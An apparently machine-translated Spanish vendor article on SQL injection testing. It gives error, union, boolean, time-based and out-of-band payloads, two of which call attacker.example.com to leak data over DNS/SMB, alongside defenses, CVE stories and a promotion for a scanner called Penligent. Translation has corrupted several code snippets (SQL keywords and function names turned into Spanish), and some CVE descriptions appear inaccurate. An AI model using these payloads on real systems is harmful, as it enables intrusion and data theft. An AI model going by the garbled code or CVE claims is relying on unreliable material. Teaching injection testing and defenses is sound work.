Cómo realizar pruebas de inyección SQL en 2026: flujo de trabajo práctico de SQLi para ingenieros

Prueba de inyección SQL se refiere al proceso sistemático de identificación, validación y mitigación de vulnerabilidades de inyección SQL en aplicaciones que interactúan con bases de datos relacionales. A pesar de ser una de las vulnerabilidades web más antiguas, la inyección SQL sigue siendo una amenaza de primer nivel en 2025 debido al código heredado, el uso indebido de ORM, las arquitecturas basadas en API y las rutas de código generadas por IA que reintroducen silenciosamente patrones de consulta inseguros. Para los ingenieros de seguridad, una prueba eficaz de inyección SQL no consiste en adivinar la carga útil, sino en comprender el contexto de ejecución, el comportamiento de la base de datos y los efectos secundarios observables en las pilas modernas.

Qué prueba realmente una prueba de inyección SQL

Una prueba de inyección SQL adecuada confirma tres cosasno sólo uno:

1. La entrada controlada por el usuario llega a un intérprete SQL
2. La entrada altera la semántica de la consulta
3. La alteración es observabledirectamente (dentro de la banda) o indirectamente (ciego/fuera de la banda)

Si falta alguno de estos elementos, la prueba está incompleta. Por eso, las pruebas modernas SQLi en banda, SQLi ciegoy SQLi fuera de banda en lugar de confiar únicamente en los mensajes de error.

Antecedentes autorizados:

• https://owasp.org/www-community/attacks/SQL_Injection
• https://portswigger.net/web-security/sql-injection

Puntos de entrada comunes de las pruebas de inyección SQL en 2025

La cobertura de las pruebas de inyección SQL debe ir más allá de los clásicos campos de formulario. Las brechas del mundo real se originan cada vez más en superficies pasadas por alto:

• API JSON (/buscar, /filtro, /graphql)
• Cabeceras HTTP (Usuario-Agente, X-Forwarded-For)
• Importación de archivos (CSV, XML, XLSX)
• Trabajos en segundo plano que consumen datos del usuario
• Generadores de consultas asistidos por IA

Un ingeniero de seguridad debe asumir cualquier cadena que influya en una llamada a la base de datos es candidata.

Técnicas de prueba de inyección SQL por Visibility

Tipo de técnica	Señal observable	Caso típico
SQLi basado en errores	Mensaje de error de la base de datos	Aplicaciones heredadas, compilaciones de depuración
SQLi basado en uniones	Datos inyectados en respuesta	Páginas de informes, exportaciones
SQLi ciego basado en booleanos	Diferencias de respuesta	Sistemas de producción reforzados
SQLi ciego basado en el tiempo	Retraso en la respuesta	Supresión estricta de errores
SQLi fuera de banda	Devolución de llamada DNS/HTTP	Entornos con permiso de salida

Esta clasificación es importante porque los defensores suelen bloquear una clase pero no otras.

Ejemplo de ataque 1: Prueba de inyección SQL basada en errores

sql

' O 1=1--

Inyectado en una consulta vulnerable:

sql

SELECT * FROM usuarios WHERE nombre de usuario = '$input';

Si la aplicación devuelve todos los usuarios o arroja un error de sintaxis SQL, la prueba confirma la accesibilidad de la inyección.

Por qué sigue siendo importante: SQLi basado en errores aparece con frecuencia en herramientas internas, paneles de administración y entornos de ensayo expuestos a Internet.

Ejemplo de ataque 2: Prueba de inyección SQL basada en la unión

sql

UNION SELECT null, version(), current_database()--

Se utiliza cuando la respuesta muestra directamente la salida de la base de datos.

Objetivo de la prueba: Determinar el recuento de columnas y la viabilidad de la extracción de datos.

Ingeniería para llevar: SQLi basado en la unión indica capacidad de lectura completa y a menudo conduce a comprometer credenciales.

Ejemplo de ataque 3: Prueba de inyección SQL ciega basada en booleanos

sql

' Y 1=1-- ' Y 1=2--

Si las respuestas difieren, la condición está siendo evaluada por la base de datos.

Esta técnica sigue siendo eficaz incluso cuando:

• Se suprimen los errores
• Salida desinfectada
• Las reglas WAF bloquean cargas útiles obvias

Ejemplo de ataque 4: Prueba de inyección SQL ciega basada en el tiempo

Ejemplo MySQL:

sql

' AND IF(1=1, SLEEP(5), 0)--

Ejemplo de PostgreSQL:

sql

' AND CASE WHEN (1=1) THEN pg_sleep(5) ELSE NULL END--

Por qué interesa a los ingenieros: La inyección SQL basada en el tiempo demuestra la explotabilidad incluso sin salida visible.

Ejemplo de ataque 5: Prueba de inyección SQL fuera de banda (avanzada)

sql

'; EXEC xp_dirtree '\\\\attacker.example.com\\test'--

o

sql

LOAD_FILE(CONCAT('\\\\\\\\', (SELECT base de datos()), '.atacante.ejemplo.com\\\\a'))

Si una petición DNS o SMB llega al atacante, la prueba de inyección SQL tiene éxito fuera de banda.

Referencia:

• https://portswigger.net/web-security/sql-injection/blind

Ejemplo de defensa 1: Consultas parametrizadas (forma correcta)

python

cursor.ejecutar(

"SELECT * FROM users WHERE username = %s",

(nombre de usuario,)

)

Este neutraliza completamente la inyección SQLindependientemente de la complejidad de la carga útil.

Ejemplo de defensa 2: Uso de ORM (con advertencias)

python

User.objects.filter(nombreusuario=nombreusuario)

Los ORM reducen el riesgo, pero sólo cuando los desarrolladores eviten las consultas en bruto y la interpolación de cadenas.

Ejemplo de defensa 3: Endurecimiento de los permisos de la base de datos

sql

REVOKE ALL ON DATABASE appdb FROM app_user;GRANT SELECT, INSERT ON TABLE users TO app_user;

Incluso si se produce una inyección SQL, se reduce el radio de explosión.

Ejemplo de defensa 4: Lógica de detección de SQLi basada en el tiempo

python

if response_time > baseline + 3: alert("Posible inyección SQL basada en el tiempo")

Esta lógica suele estar integrada en los modernos escáneres DAST y basados en IA.

Ejemplo de defensa 5: Controles de red de salida

bash

iptables -A OUTPUT -p tcp --dport 53 -j DROP

El bloqueo de DNS salientes innecesarios puede romper la inyección SQL fuera de banda del todo.

Automatización de pruebas de inyección SQL frente a la realidad

Las herramientas automatizadas son esenciales, pero incompletas:

Herramienta	Fuerza	Limitación
sqlmap	Profundidad de la carga útil	Sin contexto empresarial
Escáner de eructos	Cobertura del flujo de trabajo	Encadenamiento ciego limitado
Fuzzers de IA personalizados	Cargas útiles adaptables	Requiere ajuste

Por eso la validación manual sigue siendo fundamental tras la detección automática.

CVE en los que las pruebas de inyección SQL no detectaron los problemas a tiempo

• CVE-2023-34362 (Transferencia MOVEit) - Inyección SQL que provoca el robo masivo de datos
• CVE-2022-22965 (cadena Spring4Shell) - Vías de inyección mediante la evaluación de expresiones
• CVE-2024-21683 - Inyección SQL en procesos de exportación de SaaS empresariales

En todos los casos, profundidad inadecuada de las pruebas de inyección SQL permitió la explotación en la producción.

Impacto en el mundo real: Lo que estas CVE de inyección SQL han permitido realmente

Cuando los ingenieros leen los identificadores CVE sin contexto, es fácil subestimar su impacto operativo. Las siguientes CVE relacionadas con la inyección SQL demuestran cómo las pruebas de inyección SQL incompletas o superficiales se tradujeron directamente en un compromiso a gran escala, la exfiltración de datos y la persistencia a largo plazo.

CVE-2023-34362 (MOVEit Transfer): Inyección SQL como Motor de Exfiltración de Datos

CVE-2023-34362 no era "sólo" una vulnerabilidad de inyección SQL, era una compromiso de la plataforma de transferencia de archivos de confianza que afecta a gobiernos, bancos y empresas de la lista Fortune 500. El fallo de inyección permitía a atacantes no autenticados ejecutar consultas SQL arbitrarias contra la base de datos backend de MOVEit.

El verdadero daño vino de lo que la inyección SQL permitió a continuación:

• Acceso completo a archivos y metadatos almacenados
• Extracción de claves de cifrado y datos de sesión
• Despliegue de un shell web (human2.aspx) para la persistencia
• Robo silencioso de datos sin interrumpir la disponibilidad del servicio

La razón por la que falló la prueba de inyección SQL en este caso no fue la herramienta, sino pruebas basadas en hipótesis. Las revisiones de seguridad se centraron en los flujos de trabajo autenticados y las rutas basadas en la interfaz de usuario, mientras que los atacantes apuntaron a los puntos finales backend diseñados para la automatización y la transferencia masiva. Una prueba de inyección SQL basada en el tiempo o fuera de banda habría revelado la vulnerabilidad mucho antes de su explotación.

CVE-2022-22965 (Cadenas Spring4Shell): Inyección SQL como arma secundaria

Aunque CVE-2022-22965 es ampliamente recordada como una vulnerabilidad de ejecución remota de código, los incidentes del mundo real mostraron que los atacantes encadenamiento de inyecciones SQL tras el acceso inicial para maximizar el impacto.

Una vez que los atacantes lograban la ejecución de código o el acceso a la configuración, la inyección SQL se convertía en una multiplicador post-explotación:

• Recopilación de credenciales de base de datos a partir de la configuración de las aplicaciones
• Manipulación directa de las tablas de autorización
• Envenenamiento silencioso de datos y ataques a la integridad
• Persistencia a largo plazo mediante trabajos programados en la base de datos

Esto pone de relieve una verdad incómoda para los defensores: Las pruebas de inyección SQL no deben detenerse en el perímetro. Las API internas, los paneles de administración y las llamadas de servicio a servicio suelen ser mucho más vulnerables que los puntos finales públicos.

CVE-2024-21683: Inyección SQL silenciosa en Enterprise Export Pipelines

CVE-2024-21683 afectaba a plataformas empresariales en las que existía inyección SQL dentro de los procesos de exportación de datos y elaboración de informesno páginas de usuario. Los atacantes podrían inyectar cargas útiles que se ejecutan durante las exportaciones programadas, lo que resulta en:

• Acceso no autorizado a conjuntos de datos de inquilinos enteros
• Fuga de datos entre inquilinos en entornos multiinquilino
• Sin errores ni alertas visibles durante el uso normal de la aplicación.

Esta clase de vulnerabilidad es especialmente peligrosa porque:

• No hay respuesta interactiva para probar manualmente
• La explotación se produce de forma asíncrona
• Las herramientas DAST tradicionales suelen pasarlo por alto

Sólo pruebas de inyección SQL basadas en el tiempo o fuera de banda expuso la vulnerabilidad de forma fiable. Esta CVE es un ejemplo de libro de texto de por qué las pruebas modernas de inyección SQL deben incluir rutas de ejecución retardada y trabajadores en segundo plano.

Pruebas de inyección SQL en código generado por IA

Código backend generado por IA con frecuencia:

• Utiliza la concatenación de cadenas para mayor rapidez
• Omite la vinculación de parámetros
• Supone entradas de confianza

Los equipos de seguridad deben tratar Salida de IA como código no fiable y aplicar el mismo rigor en las pruebas de inyección SQL.

Dónde encaja Penligent en las pruebas de inyección SQL

En entornos reales, las pruebas de inyección SQL suelen fallar porque los escáneres:

• Perder rutas API profundas
• Parada tras la primera señal negativa
• No encadenar condiciones ciegas

Penligente mejora las pruebas de inyección SQL:

• Evolución de la carga útil basada en IA
• Correlación de señales temporales y fuera de banda
• Asignación del flujo de datos desde la entrada hasta la ejecución de la consulta
• Ejecutar con seguridad dentro de los procesos CI/CD

Esto permite detectar rutas de inyección SQL no obvias y de nivel de producción que los escáneres tradicionales pasan por alto.

Conclusión final para los ingenieros de seguridad

A prueba de inyección sql no es una única carga útil o herramienta, sino un proceso de validación disciplinado que demuestra el control de la base de datos a través de un comportamiento observable. En 2025, las vulnerabilidades de inyección SQL más peligrosas no son ruidosas ni obvias; son silenciosas, ciegas y están encadenadas en las arquitecturas modernas.

Ingenieros que comprueban comportamiento, calendario y efectos secundarios, no sólo los errores, seguirán detectando lo que aprovechan los atacantes.